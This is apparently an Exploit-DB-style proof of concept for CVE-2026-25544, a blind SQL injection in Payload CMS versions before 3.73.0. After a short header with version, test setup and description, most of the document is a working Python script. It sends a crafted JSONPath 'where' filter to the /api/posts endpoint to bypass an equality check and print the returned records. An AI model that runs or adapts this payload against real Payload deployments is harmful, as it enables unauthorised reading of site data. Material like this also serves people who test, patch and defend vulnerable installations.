# Exploit Title: Payload CMS 3.72.0 - Blind SQL Injection
# Google Dork: N/A
# Date: 2026-08-01
# Exploit Author: cardosource
# Vendor Homepage: https://payloadcms.com/
# Software Link: https://github.com/payloadcms/payload
# Version: < 3.73.0
# Tested on: Docker - Node.js v24.18.1 (Recommended LTS) + Payload CMS 3.72.0 + PostgreSQL 15
# CVE: CVE-2026-25544
#
# Description:
# Payload CMS versions prior to 3.73.0 contain a Blind SQL Injection
# vulnerability when processing `where` filters on JSON or RichText
# fields using the Drizzle database adapters.
#
# This PoC demonstrates SQL injection through attacker-controlled JSON
# filter input affecting generated JSONPath expressions.
#
import requests
import json
from typing import Dict, Any, Optional
def fetch_posts() -> requests.Response:
url: str = "http://localhost:3000/api/posts"
filter_criteria: Dict[str, Dict[str, str]] = {
"metadata.role": {
"equals": 'x" || @ == @ || @ == "'
}
}
params: Dict[str, Any] = {
"where": json.dumps(filter_criteria),
"limit": 100,
"depth": 0,
}
return requests.get(url, params=params, timeout=15)
def display_status(response: requests.Response) -> None:
print("status:", response.status_code)
print("content-type:", response.headers.get("content-type"))
print()
def display_content(response: requests.Response) -> None:
try:
data: Dict[str, Any] = response.json()
print("totalDocs:", data.get("totalDocs"))
print("docs:", len(data.get("docs", [])))
print()
print(json.dumps(data, indent=2, ensure_ascii=False)[:4000])
except Exception as error:
print("not JSON:", error)
print(response.text[:1000])
def main() -> None:
response: requests.Response = fetch_posts()
display_status(response)
display_content(response)
if __name__ == "__main__":
main()